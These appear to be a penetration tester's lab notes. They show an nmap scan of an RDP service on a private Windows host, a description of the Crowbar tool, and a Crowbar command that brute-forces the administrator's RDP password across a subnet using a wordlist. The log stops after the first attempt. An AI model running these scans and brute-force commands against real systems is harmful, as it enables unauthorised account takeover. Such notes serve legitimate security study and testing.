```
┌──(sierra㉿kali)-[/usr/share/wordlists]
└─$ nmap -A -p3389 10.0.0.197
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-19 18:28 EDT
Nmap scan report for 10.0.0.197
Host is up (0.10s latency).

PORT     STATE SERVICE       VERSION
3389/tcp open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2023-06-19T22:28:17+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=accounting2
| Not valid before: 2023-06-13T22:17:25
|_Not valid after:  2023-12-13T22:17:25
| rdp-ntlm-info:
|   Target_Name: ACCOUNTING2
|   NetBIOS_Domain_Name: ACCOUNTING2
|   NetBIOS_Computer_Name: ACCOUNTING2
|   DNS_Domain_Name: accounting2
|   DNS_Computer_Name: accounting2
|   Product_Version: 10.0.17763
|_  System_Time: 2023-06-19T22:28:17+00:00
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```

What is Crowbar?

Crowbar (formally known as Levye) *is a brute forcing tool that can be used during penetration tests. It was developed to brute force some protocols in a different manner according to other popular brute forcing tools. As an example, while most brute forcing tools use username and password for SSH brute force, Crowbar uses SSH key(s). This allows for any private keys that have been obtained during penetration tests, to be used to attack other SSH servers.*

20Jun 1309(EST) attempting brute force on RDP (Port 3389) with crowbar

```
┌──(sierra㉿kali)-[/usr/share/crowbar]
└─$ sudo python3 crowbar.py -b rdp  -s 10.0.0.197/24 -u administrator -C /usr/share/wordlists/joh
n.lst
2023-06-20 13:03:46 START
2023-06-20 13:03:46 Crowbar v0.4.2
2023-06-20 13:03:46 Trying 10.0.0.0:3389
```